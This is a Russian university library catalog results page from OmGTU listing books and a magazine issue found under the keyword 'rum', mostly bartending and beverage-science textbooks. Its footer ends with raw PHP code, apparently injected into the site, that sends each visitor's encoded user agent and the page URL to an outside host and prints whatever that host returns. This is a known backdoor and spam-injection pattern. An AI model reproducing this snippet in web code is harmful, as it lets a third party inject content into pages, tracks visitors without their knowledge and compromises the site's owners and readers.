Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

40 пользователей


Зарегистрированных: 1 

Полуаршинов Александр Владимирович


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Ром")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 15
1. 
Элиарова Т. С. Основы технологии приготовления смешанных напитков [Текст] / Т. С. Элиарова, 1999. - 116 с.
Держатели документа (Информация об экземплярах) 
2. 
Ахрапоткова Н. Б. Справочник официанта, бармена [Текст] : учеб. пособие для образоват. учреждений начального проф. образования / Н. Б. Ахрапоткова, 2005. - 270 с.
Ключевые слова 
ОФИЦИАНТ -- БАРМЕН -- ПРЕДПРИЯТИЕ ОБЩЕСТВЕННОГО ПИ -- ОБОРУДОВАНИЕ ЗАЛА РЕСТОРАНА -- ОБОРУДОВАНИЕ БАРА -- ПОСУДА СТОЛОВАЯ -- ПОСУДА фарфоровая -- ПОСУДА фаянсовая -- ПОСУДА СТЕКЛЯННАЯ -- ПОСУДА металическая -- ПРИБОР СТОЛОВЫЙ -- БЕЛЬЕ СТОЛОВОЕ -- ИНВЕНТАРЬ для бара -- ПОДГОТОВКА ПРОФЕССИОНАЛЬНАЯ -- МЕТРДОТЕЛЬ -- СОМЕЛЬЕ -- ПРАВИЛА САНИТАРНЫЕ В ОБЩЕПИТ -- ПЕРСОНАЛ ОБСЛУЖИВАЮЩИЙ -- МЕНЮ -- КАРТА ВИН -- КАРТА коктейлей -- ВИНО ВИНОГРАДНОЕ -- ВИНО красное -- ВИНО белое -- ВИНО розовое -- ВИНО французское -- ВИНО итальянское -- ВИНО испанское -- ВИНО Германии -- ВИНО Португалии -- ВИНО Австралии -- ВИНО Новой Зеландии -- ВИНО Южной Африки -- ХЕРЕС -- ПОРТВЕЙН -- ВЕРМУТ -- МАДЕРА -- МАРСАЛА -- ВИНО ликерное -- ВИНО игристое -- ШАМПАНСКОЕ -- ВОДКА -- ВИСКИ -- КОНЬЯК -- БРЕНДИ -- ДЖИН -- РОМ -- ТЕКИЛА -- ЛИКЕР -- НАСТОЙКА -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- ПИВО -- ЧАЙ -- КОФЕ -- ОБСЛУЖИВАНИЕ в зале ресторане -- ПОСЕТИТЕЛь ресторана -- РЕЗЕРВИРОВАНИЕ столиков -- НАПИТОК СМЕШАННЫЙ -- КОКТЕЙЛЬ -- ОБСЛУЖИВАНИЕ в баре -- ОБСЛУЖИВАНИЕ БАНКЕТНОЕ -- БАНКЕТ - ФУРШЕТ -- БАНКЕТ - КОКТЕЙЛЬ -- БАНКЕТ - ЧАЙ -- БАНКЕТ "буфет-коктейль" -- ОБСЛУЖИВАНИЕ туристов -- ТУР -- ПИТАНИЕ туристов -- СТОЛ ШВЕДСКИЙ -- СПРОС ПОТРЕБИТЕЛЬСКИЙ -- РЫНОК ресторанных услуг -- ТЕХНИКА БЕЗОПАСНОСТИ -- БЕЗОПАСНОСТЬ ПОЖАРНАЯ -- ПОМОЩЬ ПЕРВАЯ МЕДИЦИНСКАЯ -- СЛОВАРЬ барных терминов -- СЛОВАРЬ дегустаторских терминов
Держатели документа (Информация об экземплярах) 
3. 
Бортник, Ольга Ивановна. Все алкогольные напитки и коктейли мира [Текст] / О. И. Бортник ; дар. О. Д. Худякова, 2009. - 239 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
4. 
Экспертиза напитков. Качество и безопасность [Текст] / В. М. Позняковский [и др.] ; ред. В. М. Позняковский ; дар. О. Д. Худякова, 2007. - 405 с.
Держатели документа (Информация об экземплярах) 

Пособие входит в серию "Экспертиза пищевых продуктов и продовольственного сырья". Содержит наиболее полный учебно-справочный материал по экспертизе спирта этилового, водок, коньяков, вин, пива, ликеро-водочных и безалкогольных напитков, включая импортируемую продукцию.

Книга предназначена для студентов высших учебных заведений, обучающихся по специальности "Товароведение и экспертиза товаров". Может быть использована для студентов технологических и медицинских вузов, изучающих дисциплины, связанные с вопросами качества и безопасности продуктов питания. Представляет практический интерес для производителей, коммерсантов, экспертов, научных работников и потребителей.

5. 
Вокруг света. - Журнал, 2012г. № 4
Оглавление 
  • Евдокимов, Алексей. Пять баллов истории / А. Евдокимов. - с.82-90
  • Котов, Павел. 1012 апрель / П. Котов, М. Шифрин. - с.36
  • Гессен, Маша. Предисловие главного редактора / М. Гессен. - с.6
  • Народ, которого нет. - с.184
  • Схватка с морским чудовищем. - с.182-183
  • Выбираем. - с.172-180
  • Немзер, Анна. Рыба гниет / А. Немзер. - с.168-171
  • Аднер, Рон. От чего погибают инновации / Р. Аднер. - с.156-166
  • Жуков, Борис. Соло на губе / Б. Жуков. - с.147-154
  • Зиник, Зиновий. Ермолка под тюрбаном / З. Зиник. - с.134-144
  • Зарубина, Тата. Краденое солнце / Т. Зарубина. - с.124-132
  • Столлман, Ричард. Я разозлился и решил построить мир свободы / Р. Столлман. - с.118-122
  • Шенгелия, Вера. Правила деления / В. Шенгелия. - с.112-117
  • Добрынин, Сергей. Железная логика / С. Добрынин. - с.104-110
  • Гордеева, Ольга. Новые колонизаторы / О. Гордеева. - с.92-103
  • Князева, Дарья. Допотопные острова / Д. Князева. - с.64-80
  • Тулинов, Денис. В поисках человека / Д. Тулинов. - с.62
  • Шаинян, Карен. Кубинский ром / К. Шаинян. - с.56-60
  • Один кадр. - с.48-53
  • Новинская, Елена. Шведская спичка / Е. Новинская. - с.54
  • Почему от мяты "холодно" во рту?. - с.46
  • Где и когда в первый раз был приготовлен шоколад?. - с.46
  • Как египтяне утратили знание своих же собственных иероглифов?. - с.44
  • Какие звуки слышны в открытом космосе?. - с.44
  • Шифрин, Михаил. Две Кореи / М. Шифрин. - с.42
  • Котов, Павел. 1912 апрель / П. Котов, М. Шифрин. - с.40
  • Котов, Павел. 1762 апрель / П. Котов, М. Шифрин. - с.38
  • Котов, Павел. Пробуждение в красках / П. Котов. - с.32-34
  • Борисова, Екатерина. Коллективное сознательное / Е. Борисова. - с.28-30
  • Конрадова, Наталья. О пользе заблуждений / Н. Конрадова. - с.26
  • Шаинян, Карен. Доказательство трюизма / К. Шаинян. - с.24
  • Добрынин, Сергей. Вращайте синхротрон / С. Добрынин. - с.22
  • Космический мусор: остатки былой роскоши. - с.20
  • Первушин, Антон. Космонавтика на пределе возможностей / А. Первушин. - с.18
6. 
Секреты бармена [Текст] / ред., сост. Л. А. Овсюкова, дар. В. А. Козлова, 1997. - 169, [1] с.
Держатели документа (Информация об экземплярах) 
7. 
Иванникова Е. И. Барное дело [Текст] : учеб. для студ. образоват. учреждений сред. проф. образования / Е. И. Иванникова, Т. В. Иванникова, Г. В. Семенова, 2004. - 346 с.
Ключевые слова 
БАРМЕН -- БАНКЕТ -- ПРИЕМ -- Коктейль - бар -- Десерт - бар -- МЕНЮ -- КАРТА вин -- ВИНОДЕЛИЕ -- ШАМПАНСКОЕ -- ВИНО ВИНОГРАДНОЕ -- Ампелография -- ДЕГУСТАЦИЯ напитков -- КОНЬЯК -- БРЕНДИ -- Водка -- ВИСКИ -- Джин -- Ром -- БАЛЬЗАМ -- Биттер -- ЛИКЕР -- Пиво -- БАР - МАРКЕТИНГ -- бар - реклама -- НАЛИВКА -- НАСТОЙКА -- НАПИТОК десертный -- Пунш -- Грог -- Глинтвейн -- Текила -- боули -- Аперитив -- Дижестив -- Квас -- Компот -- Кисель -- Сок -- Морс -- Лимонад -- КРЮШОН -- Кофе -- Какао -- Чай -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК ТОНИЗИРУЮЩИЙ -- НАПИТОК молочный
Держатели документа (Информация об экземплярах) 
8. 
Михайлова М. С. Товароведение вкусовых товаров для официантов, барменов [Текст] : Учеб. пособие для студ. образоват. учреждений сред. проф. образования / М. С. Михайлова, 2002. - 255 с.
Держатели документа (Информация об экземплярах) 
9. 
Коробкина, Зоя Васильевна. Товароведение и экспертиза вкусовых товаров [Текст] : Учебник гриф-МО / З. В. Коробкина, С. А. Страхова, 2003. - 352 с.
10. 
Современное состояние и направления развития ротационных компрессорных машин в Советском Союзе и за рубежом [Текст] : обзор. информ. / В. Д. Лубенец [и др.], 1975. - 41, [2] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
11. 
Митвайс, Ирина Ивановна. Товароведение вкусовых товаров [Текст] : Уч.пособие / И. И. Митвайс, 2002. - 480 с.
12. 
Васильев, Владимир Иванович. Управление циклом выпуска изданий. В помощь экономическому образованию специалистов [Текст] : обзор. информ. / В. И. Васильев, 1978. - 30, [1] с.
Ключевые слова 
13. 
Иванникова Е. И. Барное дело [Текст] : Учеб. для студ. образоват. учреждений сред. проф. образования / Е. И. Иванникова, Т. В. Иванникова, Г. В. Семенова, 2002. - 346 с.
Ключевые слова 
БАРМЕН -- БАНКЕТ -- ПРИЕМ -- Коктейль - бар -- Десерт - бар -- МЕНЮ -- КАРТА вин -- ВИНОДЕЛИЕ -- ШАМПАНСКОЕ -- ВИНО ВИНОГРАДНОЕ -- Ампелография -- ДЕГУСТАЦИЯ напитков -- КОНЬЯК -- БРЕНДИ -- Водка -- ВИСКИ -- Джин -- Ром -- БАЛЬЗАМ -- Биттер -- ЛИКЕР -- Пиво -- Напиток смешанный -- НАЛИВКА -- НАСТОЙКА -- НАПИТОК десертный -- Пунш -- Грог -- Глинтвейн -- Текила -- Аперитив -- Дижестив -- Квас -- Компот -- Кисель -- Сок -- Морс -- Лимонад -- КРЮШОН -- Кофе -- Какао -- Чай -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК ТОНИЗИРУЮЩИЙ -- НАПИТОК молочный
Держатели документа (Информация об экземплярах) 
14. 
Заздравная чаша [Текст] : Атлас вин, крепких и слабоалкогольных напитков мира. Домашнее виноделие. Закуски на праздничный стол. Правила сервировки стола и приема гостей. Виды, традиции и обычаи застолий. Вино и здоровье. Вино и любовь. Двадцать знаменитых тостов / Гл. худож. С. В. Богачев. - 399 с.
Ключевые слова 
Алиготе -- Портвейн -- Кагор -- Мадера -- Херес -- Марсала -- Вермут -- Малага -- Токай -- Шампанское -- Дегустация -- Вино -- Водка -- Настойка -- Виски -- Джин -- Ром -- Бренди -- Коньяк -- Бальзам -- Наливка -- Ликер -- Десерт -- Напиток -- Пунш -- Аперитив -- Коктейль -- Грог -- Крюшон -- Глинтвейн -- Пиво -- Сервировка -- Прием -- Банкет -- стол шведский -- Пикник -- Тост -- Юбилей -- Новый год -- Свадьба -- Крестины -- Рождество Христово -- Крещение -- Масленица -- Пасха -- Поминки -- Похмелье
Держатели документа (Информация об экземплярах) 
15. 
Чепурной, Иван Петрович. Товароведение и экспертиза вкусовых товаров [Текст] : Учеб. для вузов по специальности "Товароведение и экспертиза товаров" / И. П. Чепурной, 2002. - 402, [1] с.

Вкусовые товары включают очень разнообразные по составу и свойствам <продовольственные> товары: <чай> и <кофе>, <пряности> и <приправы>, <безалкогольные> и <алкогольные> <напитки>. В данной книге представлены достаточно полные сведения о классификации этих групп товаров, приводятся факторы, формирующие и сохраняющие их <качество>.

Впервые приводятся методологические подходы к проведению экспертизы этой группы товаров с использованием как современных методов анализа, так и оригинальных экспресс-методов.



    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2991 - 18.08.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.79 с.14 запросов, 0.42c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;